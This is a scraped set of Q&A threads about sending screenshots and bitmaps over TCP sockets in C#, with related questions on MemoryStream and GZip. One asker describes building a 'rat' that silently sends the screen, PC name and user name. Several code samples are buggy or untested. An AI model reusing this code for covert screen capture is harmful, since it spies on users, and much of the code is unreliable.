I am sending an image(a screenshot, particularly) via a tcpclient/networkstream. To read the image bytes properly on the receiving end, I need to know the length of the image. What I intend to do is save the first 6 bytes of the buffer for the image size(since it seems to never exceed 6 numbers), and then from thereon have the rest of the buffer as the image. The problem I am having is I am not able to read only the first 6 bytes.
Server Code
int data = 0;
byte[] readBuffer = new byte[getSelectedClient().ReceiveBufferSize];
**data = stream.Read(readBuffer, 0, 5, readBuffer.Length);** <-- sort of thing im trying to do
string pictureSize = Encoding.ASCII.GetString(readBuffer, 0, data);
Console.WriteLine(pictureSize); //for debugging purposes
string x = new Random().Next().ToString();
FileStream f = new FileStream(x + ".bmp", FileMode.Create, FileAccess.Write);
while (new FileInfo(x + ".bmp").Length != Convert.ToInt32(pictureSize))
{
**data = stream.Read(readBuffer, 6, readBuffer.Length);** <-- then it would read from the 6th byte, which would be the start of the image
f.Write(readBuffer, 0, data);
}
f.Close();
Process.Start(x + ".bmp");
screenShotBTN.Enabled = true;
Client Code
MemoryStream ms = new MemoryStream();
Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(bitmap);
graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
writeToStream(combineBytes(Encoding.ASCII.GetBytes(ms.Length.ToString()), ms.ToArray()));
ms.Close();
public static byte[] combineBytes(byte[] b1, byte[] b2)
{
byte[] b3 = new byte[b1.Length + b2.Length];
Array.Copy(b1, 0, b3, 0, b1.Length);
Array.Copy(b2, 0, b3, b1.Length, b2.Length);
return b3;
}
What you are implementing is Length Prefixed messaging.
Things to remember are that when you are reading from a network stream, you will not necessarily receive all the bytes that you are looking for immediately (most times when you are testing locally everything will, but you need to program for the possibility you'll only receive 1 byte at the worst case).
Therefore you should go into a state (awaitinglength, awaitingpayload).
Then you commence reading byte(s) while in the awaiting length, then build up that data in a buffer. Once you have your length (6 bytes in your case), then you can switch state to awaitingpayload, then read this into your secondary buffer until you have the full payload and then you are good to go.
It might be worthwhile to have a read of Stephen Cleary's articles on message framing. I learn't a lot about networking through reading these.
http://blog.stephencleary.com/2009/04/sample-code-length-prefix-message.html
I solved the issue on my own.
Server
int data = 0;
byte[] readBuffer = new byte[getSelectedClient().ReceiveBufferSize];
data = stream.Read(readBuffer, 0, 6); //only read first 6
string pictureSize = Encoding.ASCII.GetString(readBuffer, 0, data);
Console.WriteLine(pictureSize); //for debugging purposes
string x = new Random().Next().ToString();
FileStream f = new FileStream(x + ".bmp", FileMode.Create, FileAccess.Write);
while (new FileInfo(x + ".bmp").Length != Convert.ToInt32(pictureSize))
{
data = stream.Read(readBuffer, 0, readBuffer.Length);
f.Write(readBuffer, 0, data);
}
f.Close();
Process.Start(x + ".bmp");
screenShotBTN.Enabled = true;
Client code
MemoryStream ms = new MemoryStream();
Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(bitmap);
graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
Console.WriteLine(ms.Length.ToString());
writeToStream(combineBytes(Encoding.ASCII.GetBytes(ms.Length.ToString()), ms.ToArray()));
ms.Close();
Related
I have a problem in my code. It's about a chat program where you can take a screenshot from the other PC. I got the code below. But if I run the code the screenshot Looks like this. The problem is that I don't receive all of the bytes of the image (truncated). There's must be something wrong with the client (sender) and the server (receiver).
Code:
Client: (send):
string ip = "192.168.98.78";
Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
Graphics g = Graphics.FromImage(b);
Console.WriteLine("taking screenshot");
g.CopyFromScreen(0, 0, 0, 0, b.Size);
g.Dispose();
MemoryStream ms = new MemoryStream();
b.Save(ms, ImageFormat.Png);
byte[] bmp = ms.ToArray();
Console.WriteLine("sending pic");
do {
try
{
TcpClient tcpClient = new TcpClient(ip, 2000);
NetworkStream clientSockStream = tcpClient.GetStream();
Console.WriteLine("connecting to server");
StreamWriter clientStreamWriter = new StreamWriter(clientSockStream);
Console.WriteLine("send data");
clientSockStream.Write(bmp, 0, 1024);
tcpClient.Close();
fertig = true;
} catch (Exception h)
{
Console.WriteLine(h.Message);
}
} while (fertig != true);
Server: (receiver)
Console.WriteLine("");
TcpListener tcpServerListener = new TcpListener(IPAddress.Any, 2000);
tcpServerListener.Start();
try
{
Socket serverSocket = tcpServerListener.AcceptSocket();
NetworkStream serverSocketStream = new NetworkStream(serverSocket);
Console.WriteLine("SERVER");
tcpServerListener.Start();
Console.WriteLine("[connected to client]");
byte[] byt = new byte[1024];
Console.WriteLine("-");
serverSocketStream.Read(byt, 0, 1024);
Console.WriteLine("[-]");
Console.WriteLine("write bytes");
File.WriteAllBytes(#"c:\users\jakob\desktop\bild1.jpg", byt);
} catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
tcpServerListener.Stop();
do
{
Edit:
I found a solution for '"The specified argument is outside the range of valid values."' the problem. Try this!
serverSocketStream.Read(byt, 0, 1024); // Get the file size
byte[] byt_2 = new byte[Convert.ToInt32(System.Text.Encoding.UTF8.GetString(byt)) + 300];
Console.WriteLine("-");
serverSocketStream.Read(byt_2, 0, byt_2.Length); // Get The File
Console.WriteLine("-");
Console.WriteLine("write bytes");
File.WriteAllBytes(#"c:\users\jakob\desktop\bild1.jpg", byt_2);
You're Code to Receive:
byte[] byt = new byte[1024];
Console.WriteLine("-");
serverSocketStream.Read(byt, 0, 1024);
You decided to read the image by storing in a byte array capable of holding 1024 bytes. You'll need more than 1024 bytes because the image that you are trying to send is more than 1024 bytes. You can solve this problem by sending the file size first, then sending the picture. Take a look at this:
Proper Code to Send: (Disapproved)
Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
Graphics g = Graphics.FromImage(b);
Console.WriteLine("taking screenshot");
g.CopyFromScreen(0, 0, 0, 0, b.Size);
g.Dispose();
MemoryStream ms = new MemoryStream();
b.Save(ms, ImageFormat.Png);
byte[] bmp = ms.ToArray();
// Send the file size
clientSockStream.Write(Encoding.ASCII.GetBytes(bmp.Length), 0, Encoding.ASCII.GetBytes(bmp.Length).Length);
// Send the file:
clientSockStream.Write(bmp, 0, bmp.Length);
Proper Code To Receive: (Disapproved)
byte[] byt = new byte[1024];
serverSocketStream.Read(byt, 0, 1024); // Get the file size
byte[] byt_2 = new byte[byt.Length+300];
serverSocketStream.Read(byt, 0, byt_2.Length); // Get The File
File.WriteAllBytes(#"c:\users\jakob\desktop\bild1.jpg", byt_2);
I haven't test this code, but if you have any error, you can ask in the comment, and I'll try to fix it!
i solved the Problems
send:
TcpClient tcpClient = new TcpClient(ip, 2000);
NetworkStream clientSockStream = tcpClient.GetStream();
Console.WriteLine("connecting to server");
StreamWriter clientStreamWriter = new StreamWriter(clientSockStream);
Console.WriteLine("send data");
//-
Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
Graphics g = Graphics.FromImage(b);
Console.WriteLine("taking screenshot");
g.CopyFromScreen(0, 0, 0, 0, b.Size);
g.Dispose();
MemoryStream ms = new MemoryStream();
b.Save(ms, ImageFormat.Png);
byte[] bmp = ms.ToArray();
// Send the file size
sw.WriteLine(bmp.Length);
// Send the file
clientSockStream.Write(bmp, 0, bmp.Length);
//-
tcpClient.Close();
receive:
Socket serverSocket = tcpServerListener.AcceptSocket();
NetworkStream serverSocketStream = new NetworkStream(serverSocket);
Console.WriteLine("SERVER");
tcpServerListener.Start();
Console.WriteLine("[connected to client]");
byte[] byt = new byte[1024];
//get size Lenght
int Lenght = Convert.ToInt32(sr.ReadLine());
byte[] byt_2 = new byte[Lenght + 3000];
Console.WriteLine("-");
// Get The File
serverSocketStream.Read(byt_2, 0, byt_2.Length);
Console.WriteLine("-");
Console.WriteLine("write bytes");
//write bytes in the file
File.WriteAllBytes(#"c:\users\jakob\desktop\bild1.jpg", byt_2);
i solved the Problem i had with the Code from adola like this
send:
Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
Graphics g = Graphics.FromImage(b);
Console.WriteLine("taking screenshot");
g.CopyFromScreen(0, 0, 0, 0, b.Size);
g.Dispose();
b.Save(ms, ImageFormat.Png);
byte[] bmp = ms.ToArray();
string kl = Convert.ToString(bmp);
// Send the file size
Char[] ch = new Char[bmp.Length]; //added
clientSockStream.Write(Encoding.ASCII.GetBytes(ch), 0,Encoding.ASCII.GetByteCount(ch));
// Send the file:
clientSockStream.Write(bmp, 0, bmp.Length);
but now this Code sas "The specified argument is outside the range of valid values."
Could some one tell me where the Problem is?
receive:
serverSocketStream.Read(byt, 0, 1024); // Get the file size
byte[] byt_2 = new byte[byt.Length + 300];
Console.WriteLine("-");
serverSocketStream.Read(byt, 0, byt_2.Length); // Get The File
Console.WriteLine("-");
Console.WriteLine("write bytes");
File.WriteAllBytes(#"c:\users\jakob\desktop\bild1.jpg", byt_2);
I have a problem with memory-stream
I'm making a rat program and trying to send an image but when I save it's bytes to a memory-stream using png format then send it. I just receive a small part of it and when I use bmp it gives me an error (Parameter is not valid) and when I use jpeg sometimes I receive the image missing some parts so please can anyone help me?
Server Send Code : ( this code should send PC name and an image )
string PC = Environment.MachineName + "/" + Environment.UserName+ count;
int Width = Screen.PrimaryScreen.Bounds.Width;
int Height = Screen.PrimaryScreen.Bounds.Height;
Bitmap ScreenShot = new Bitmap(Width, Height);
Graphics ScreenShotGraphics = Graphics.FromImage(ScreenShot);
ScreenShotGraphics.CopyFromScreen(0, 0, 0, 0, new Size(Width, Height), CopyPixelOperation.SourceCopy);
MemoryStream MemoryStream = new MemoryStream();
ScreenShot.Save(MemoryStream, System.Drawing.Imaging.ImageFormat.Bmp);
byte[] ScreenShotToByte = MemoryStream.ToArray();
byte[] Image = ScreenShotToByte;
MemoryStream CollectMemoryStream = new MemoryStream();
CollectMemoryStream.Write(StringToByteArray("1"), 0, 1);
CollectMemoryStream.Write(StringToByteArray(SplitChar), 0, SplitChar.Length);
CollectMemoryStream.Write(StringToByteArray(PC), 0, PC.Length);
CollectMemoryStream.Write(StringToByteArray(SplitChar), 0, SplitChar.Length);
CollectMemoryStream.Write(Image, 0, Image.Length);
Client.Client.Send(CollectMemoryStream.ToArray(), 0, CollectMemoryStream.ToArray().Length, SocketFlags.None);
Client receive Code : ( this Code should receive the PC name and the image )
SplitText is a string[] holds the order and the PC name and the image converted to string from byte[] and got split
string PCName = SplitText[1];
this.Invoke((Action)(() => { int NewClientNumber = listBox1.Items.Add(PCName); }));
MemoryStream GetThumpBytes = new MemoryStream();
GetThumpBytes.Write(ByteArray, SplitText[0].Length + SplitChar.Length + SplitText[1].Length + SplitChar.Length, ByteArray.Length-(SplitText[0].Length + SplitChar.Length + SplitText[1].Length + SplitChar.Length));
byte[] ThumpBytes = GetThumpBytes.ToArray();
MemoryStream MemoryStream = new MemoryStream();
MemoryStream.Write(ThumpBytes, 0, ThumpBytes.Length);
Image Thumb = Image.FromStream(MemoryStream);
pictureBox1.Image = Thumb;
Png Try Image :
Jpeg Try Image :
Bmp Try Image :
One issue I see is that assigning the image is most likely on the wrong thread.
this.Invoke(() => pictureBox1.Image = Thumb);
Now my method is :
public static byte[] ImageToByte(Image img)
{
byte[] byteArray = new byte[0];
using (MemoryStream stream = new MemoryStream())
{
img.Save(stream, System.Drawing.Imaging.ImageFormat.Bmp);
stream.Close();
byteArray = stream.ToArray();
}
return byteArray;
}
after read this. And i still confuse and can't find a way to use this.
So my question is how to use Parallel.ForEach or Parallel anything with my method.
my goal is to speed this method by using more cores of CPU to speed this up anything advice?
ps. I not serious if i can do the parallel with my method and that not speed up anything
I just want to try this and record the result Thank all your guy .
You can only use the parallel processing if you have multiple images.
Imagine going through seperate images in a for each loop you could do this:
Parallel.ForEach(images, img =>
{
byte[] byteArray = new byte[0];
using (MemoryStream stream = new MemoryStream())
{
img.Save(stream, System.Drawing.Imaging.ImageFormat.Bmp);
stream.Close();
byteArray = stream.ToArray();
}
});
If you really want to speed up the code you could do :
BitmapData d = image.LockBits(new Rectangle(0, 0, image.Width, image.Height), ImageLockMode.ReadWrite, PixelFormat.Format24bppRgb);
int length = Math.Abs(d.Stride) * image.Height;
byte[] buff = new byte[length];
Marshal.Copy(d.Scan0, buff, 0, length);
image.UnlockBits(d);
return buff;
I have a file transfer program. The program (Client) does following operations to send a bitmap via TCP socket: get screenshot -> grab Bitmap from memory -> convert to stream -> send
MemoryStream Fs = new MemoryStream();
//////////////11111
Bitmap bmp = TakeScreen();
///////////////2222
//Bitmap bmp = new Bitmap(#"C:\temp\001.bmp");
bmp.Save(Fs, ImageFormat.Bmp);
Byte[] buffer = Fs.ToArray();
Fs.Read(buffer, 0, buffer.Length);
TcpClient socket = new TcpClient("192.168.0.131", 1095);
NetworkStream nw = socket.GetStream();
nw.Write(buffer, 0, buffer.Length);
nw.Close();
Fs.Dispose();
socket.Close();
bmp.Dispose();
If I choose to transfer image directly from memory - no errors.
If I try to load Bitmap from file first - getting "Parameter is not valid" error on a server's side.
here is the server side:
NetworkStream Nw = new NetworkStream(handlerSocket.Client);
int thisRead = 0;
int Blocksize = 1024;
Byte[] dataByte = new Byte[Blocksize];
Bitmap screen = getScreen(Nw, dataByte, thisRead, Blocksize);
Nw.Close();
and
private Bitmap getScreen(NetworkStream Nw, Byte[] dataByte, int thisRead, int Blocksize)
{
Bitmap bitmap;
using (var strm = new MemoryStream())
{
while (true)
{
thisRead = Nw.Read(dataByte, 0, Blocksize);
strm.Write(dataByte, 0, thisRead);
if (thisRead == 0)
break;
}
bitmap = new Bitmap(strm); // Error here
}
Bitmap bm3 = new Bitmap(bitmap);
bitmap.Dispose();
return bm3;
}
What's causing this error? I guess it has something to do with the MemoryStream.
edit: simplified the question
You nee to seek to the beginning of the stream before you can create the Bitmap in getScreen.
private Bitmap getScreen(NetworkStream Nw, Byte[] dataByte, int thisRead, int Blocksize)
{
Bitmap bitmap;
using (var strm = new MemoryStream())
{
while (true)
{
thisRead = Nw.Read(dataByte, 0, Blocksize);
strm.Write(dataByte, 0, thisRead);
if (thisRead == 0)
break;
}
stream.Seek(0, SeekOrigin.Begin; // <-- Go Back to beginning of stream
bitmap = new Bitmap(strm); // Error here
}
Bitmap bm3 = new Bitmap(bitmap);
bitmap.Dispose();
return bm3;
}
EDIT
Detailed explanation: After writing the last byte to the stream, the stream's current position is a the end of the stream. Creating a Bitmap from the screen now tries to read the bitmap from the stream, which doesn't work, as there is no more data after the current position (= the end of the stream).
So what you need to do is tell the stream to set the current position back to the beginning of the stream. Then, the bitmap information can be read.
I am writing a C# assembly to take advantage of the GZip functionality in newer versions of the .NET framework, and I am copying code I have used successfully elsewhere.
The way this works is that an application we are using feeds a stream to the assembly, the assembly reads it, compresses it, then returns the compressed result as a string. That string is then put back into the assembly through a stream to uncompress it (normally it will be stored, but I am simply running a basic test).
However, when I feed the string back to the assembly, it errors out while reading it from a byte array that is read from the application's stream. Here is the code:
private void ReadStream(IStream stream, out byte[] data)
{
using (MemoryStream writer = new MemoryStream())
{
IntPtr rwBytes = Marshal.AllocHGlobal(4);
int _rwBytes = 0;
data = new byte[0xafc8];
do
{
stream.Read(data, 0xafc8, rwBytes);
_rwBytes = Marshal.ReadInt32(rwBytes);
writer.Write(data, 0, _rwBytes);
}
while (_rwBytes > 0);
writer.Close();
Marshal.FreeHGlobal(rwBytes);
}
}
public string CompressString([In, MarshalAs(UnmanagedType.AsAny)] object appStream)
{
byte[] buffer = null;
ReadStream(appStream as IStream, out buffer);
MemoryStream ms = new MemoryStream();
using (GZipStream zip = new GZipStream(ms, CompressionMode.Compress, true))
{
zip.Write(buffer, 0, buffer.Length);
}
ms.Position = 0;
MemoryStream outStream = new MemoryStream();
byte[] compressed = new byte[ms.Length];
ms.Read(compressed, 0, compressed.Length);
byte[] gzBuffer = new byte[compressed.Length + 4];
System.Buffer.BlockCopy(compressed, 0, gzBuffer, 4, compressed.Length);
System.Buffer.BlockCopy(BitConverter.GetBytes(buffer.Length), 0, gzBuffer, 0, 4);
string str = Convert.ToBase64String(gzBuffer);
gzBuffer = Convert.FromBase64String(str);
return str;
}
public string DecompressString([In, MarshalAs(UnmanagedType.AsAny)] object appStream)
{
byte[] buffer = null;
ReadStream(appStream as IStream, out buffer);
string compressedText = Encoding.UTF8.GetString(buffer);
byte[] gzBuffer = Convert.FromBase64String(compressedText);
using (MemoryStream ms = new MemoryStream())
{
int msgLength = BitConverter.ToInt32(gzBuffer, 0);
ms.Write(gzBuffer, 4, gzBuffer.Length - 4);
buffer = new byte[msgLength];
ms.Position = 0;
using (GZipStream zip = new GZipStream(ms, CompressionMode.Decompress))
{
zip.Read(buffer, 0, buffer.Length);
}
}
return Encoding.UTF8.GetString(buffer);
}
The string is returned from the CompressString function as:
yK8AAB+LCAAAAAAABADtvQdgHEmWJSYvbcp7f0r1StfgdKEIgGATJNiQQBDswYjN5pLsHWlHIymrKoHKZVZlXWYWQMztnbz33nvvvffee++997o7nU4n99//P1xmZAFs9s5K2smeIYCqyB8/fnwfPyK+ndd5WjRplk6rxarOm6aolmmbN+04TZ/n7cdN2uTU4jwt2vSqqt8241/jR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Pzo+dHz/67nR9j86PnR86PnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89/99/fjSCHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj5//7z49G8KPnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Px///nRCH70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj57/7z8/GsGPnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fP/nef/AYk/UbjIrwAA
When it is read back from the stream in the Encoding.UTF8.GetString call, it is:
yK8AAB+LCAAAAAAABADtvQdgHEmWJSYvbcp7f0r1StfgdKEIgGATJNiQQBDswYjN5pLsHWlHIymrKoHKZVZlXWYWQMztnbz33nvvvffee++997o7nU4n99//P1xmZAFs9s5K2smeIYCqyB8/fnwfPyK+ndd5WjRplk6rxarOm6aolmmbN+04TZ/n7cdN2uTU4jwt2vSqqt8241/jR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Pzo+dHz/67nR9j86PnR86PnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89/99/fjSCHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj5//7z49G8KPnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Px///nRCH70/Oj50fOj50fPj54fPT96fvT86PnR86PnR8+Pnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fOj50fPj57/7z8/GsGPnh89P3p+9Pzo+dHzo+dHz4+eHz0/en70/Oj50fP/nef/AYk/UbjIrwAA
These strings are identical. I can even convert it back and forth in the CompressString function with no problem. Any thoughts out there? This is very strange.
Don't use UTF8, you should use the ascii text encoding instead. When you get the bytes from your string, you'll end up with some extra bytes due to the way UTF strings are encoded.